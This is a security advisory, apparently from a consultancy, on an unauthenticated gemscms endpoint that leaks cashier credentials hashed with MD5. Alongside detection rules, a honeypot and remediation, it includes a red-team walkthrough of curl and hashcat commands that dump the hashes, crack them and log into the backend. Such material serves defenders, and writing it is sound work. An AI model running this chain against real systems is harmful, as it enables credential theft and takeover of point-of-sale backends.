CVE-2025-52026

Executive Summary

CVE-2025-52026 is a critical information disclosure vulnerability in the Aptsys gemscms backend platform, affecting versions through 2025-05-28. The vulnerability resides in the /srvs/membersrv/getCashiers endpoint, which is accessible without authentication. This endpoint exposes a list of cashier accounts, including names, email addresses, usernames, and passwords hashed using the MD5 algorithm. Since MD5 is a cryptographically broken hash function, these hashes can be easily reversed using publicly available tools (e.g., rainbow tables, online MD5 databases), allowing attackers to recover plaintext credentials. This enables unauthorized logins to the backend system, potentially granting access to sensitive Point-of-Sale (POS) operations and administrative functions. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the impact, it should be rated as High severity. No patch is currently available, and no exploit code or Nuclei template has been published in public repositories.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary backend platform (gemscms) developed by Aptsys. Supply chain risks are limited to the vendor's internal development and deployment processes.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the vulnerability details, a more accurate assessment is:

• Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Sensitive credentials are exposed.
• Integrity (I): None (N) – No data modification is possible directly.
• Availability (A): None (N) – No denial of service.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Base Score: 7.5 (High)

Threat Level: High. The vulnerability allows unauthenticated attackers to harvest credentials, leading to account takeover and potential lateral movement within the backend system.

Deep Dive & Mechanics

The vulnerability is a classic case of insecure API design combined with weak cryptography. The /srvs/membersrv/getCashiers endpoint is intended for internal use but is exposed without authentication. When queried, it returns a JSON or XML response containing an array of cashier objects. Each object includes:

• name: Full name of the cashier.
• email: Email address.
• username: Login username.
• password: MD5 hash of the password.

MD5 is a 128-bit hash function that is considered broken for security purposes due to its vulnerability to collision attacks and preimage attacks. However, for password cracking, the primary issue is its speed and the availability of precomputed rainbow tables. Attackers can:

1. Use online MD5 reverse lookup services (e.g., CrackStation, MD5Online) to instantly resolve common passwords.
2. Use offline tools like Hashcat or John the Ripper with wordlists (e.g., RockYou) to crack hashes at billions of attempts per second.
3. If the same password is reused across systems, the attacker can pivot to other services.

The endpoint does not implement any rate limiting, IP whitelisting, or authentication, making it trivial to enumerate all cashier accounts. Once credentials are obtained, attackers can log in to the gemscms backend and perform actions such as:

• Viewing sales reports.
• Modifying product prices.
• Creating new cashier accounts.
• Accessing customer data.
• Potentially executing administrative commands.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and what a secure implementation should look like.

Vulnerable Code (Conceptual):

# Vulnerable endpoint - no authentication, returns MD5 hashes
@app.route('/srvs/membersrv/getCashiers', methods=['GET'])
def get_cashiers():
    cashiers = db.query("SELECT name, email, username, password FROM cashiers")
    return jsonify(cashiers)

Patched Code (Conceptual):

# Patched endpoint - requires authentication, uses strong hashing
from flask import request, abort
import hashlib

@app.route('/srvs/membersrv/getCashiers', methods=['GET'])
@require_auth  # Custom decorator to check JWT or session token
def get_cashiers():
    # Only allow authorized roles (e.g., admin)
    if not current_user.has_role('admin'):
        abort(403)
    cashiers = db.query("SELECT name, email, username FROM cashiers")
    # Never return password hashes, even if strong
    return jsonify(cashiers)

Key Differences:

• Authentication: The patched version requires a valid session or token.
• Authorization: Only users with specific roles (e.g., admin) can access the endpoint.
• Data Exposure: The patched version does not return password hashes at all. If password hashes must be returned (e.g., for migration), they should use a strong algorithm like bcrypt, Argon2, or PBKDF2.
• Rate Limiting: Implement rate limiting to prevent brute-force enumeration.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target system running gemscms with the vulnerable endpoint exposed.
• Network access to the /srvs/membersrv/getCashiers endpoint.

Step 1: Enumerate Cashier Accounts

curl -s http://target.com/srvs/membersrv/getCashiers | jq .

This will return a JSON array of cashier objects. Example output:

[
  {
    "name": "John Doe",
    "email": "john@example.com",
    "username": "jdoe",
    "password": "5f4dcc3b5aa765d61d8327deb882cf99"
  },
  {
    "name": "Jane Smith",
    "email": "jane@example.com",
    "username": "jsmith",
    "password": "e10adc3949ba59abbe56e057f20f883e"
  }
]

Step 2: Crack MD5 Hashes Use Hashcat with a wordlist:

hashcat -m 0 -a 0 hashes.txt rockyou.txt --show

Or use an online service:

curl -s "https://md5.gromweb.com/?md5=5f4dcc3b5aa765d61d8327deb882cf99" | grep -oP '(?<=<span class="hash">)[^<]+'

Step 3: Login to Backend

curl -c cookies.txt -X POST http://target.com/login -d "username=jdoe&password=password"

Step 4: Perform Unauthorized Actions Once logged in, access sensitive endpoints:

curl -b cookies.txt http://target.com/admin/sales

Blue Team (Defense & Detection)

Immediate Actions:

1. Restrict Access: Place the endpoint behind a VPN or firewall. Only allow internal IPs.
2. Implement Authentication: Add authentication to the endpoint immediately.
3. Force Password Reset: Notify all cashiers to change passwords.
4. Audit Logs: Check access logs for suspicious requests to /srvs/membersrv/getCashiers.

Honeypot Setup: Deploy a fake endpoint that mimics the vulnerable one to trap attackers:

from flask import Flask, jsonify
app = Flask(__name__)

@app.route('/srvs/membersrv/getCashiers', methods=['GET'])
def honeypot():
    fake_data = [
        {"name": "Honeypot User", "email": "trap@example.com", "username": "honeypot", "password": "5f4dcc3b5aa765d61d8327deb882cf99"}
    ]
    # Log the attacker's IP
    with open('honeypot.log', 'a') as f:
        f.write(f"{request.remote_addr} - {request.user_agent}\n")
    return jsonify(fake_data)

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /srvs/membersrv/getCashiers from external IPs.
• Unusual login attempts from IPs that previously accessed the endpoint.
• Traffic to known MD5 reverse lookup services (e.g., md5.gromweb.com, crackstation.net).

File IOCs:

• Presence of hashes.txt or similar files on compromised systems.
• Log entries showing successful login from unexpected IPs.

Behavioral IOCs:

• Multiple failed login attempts followed by a successful login.
• Access to backend admin functions from non-admin accounts.

Detection Engineering

YARA Rule

rule CVE_2025_52026_InfoDisclosure {
    meta:
        description = "Detects requests to the vulnerable gemscms endpoint"
        author = "Valters IT"
        date = "2025-05-28"
        reference = "CVE-2025-52026"
    strings:
        $endpoint = "/srvs/membersrv/getCashiers"
        $md5_pattern = /[a-f0-9]{32}/
    condition:
        $endpoint and #md5_pattern > 0
}

Sigma Rule

title: Detection of CVE-2025-52026 Exploitation
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests to the vulnerable gemscms endpoint
author: Valters IT
date: 2025-05-28
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/srvs/membersrv/getCashiers'
    condition: selection
falsepositives:
    - Legitimate internal monitoring tools
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-52026 - gemscms Information Disclosure"; flow:to_server; content:"GET"; http_method; content:"/srvs/membersrv/getCashiers"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate (No Patch Available):

1. Disable the Endpoint: If possible, remove or disable the /srvs/membersrv/getCashiers endpoint.
2. Network Segmentation: Place the backend behind a firewall and restrict access to trusted IPs only.
3. Web Application Firewall (WAF): Create a rule to block requests to this endpoint from external sources.
4. Credential Rotation: Force all cashiers to change passwords immediately.
5. Upgrade Hashing: If you have access to the source code, replace MD5 with bcrypt or Argon2.

Long-Term:

1. Vendor Patch: Contact Aptsys for an official patch. Monitor their security advisories.
2. Code Audit: Conduct a full security audit of all API endpoints for similar issues.
3. Authentication: Implement OAuth 2.0 or JWT-based authentication for all backend APIs.
4. Rate Limiting: Add rate limiting to prevent brute-force enumeration.
5. Logging & Monitoring: Enable detailed logging and set up alerts for suspicious access patterns.

Valters IT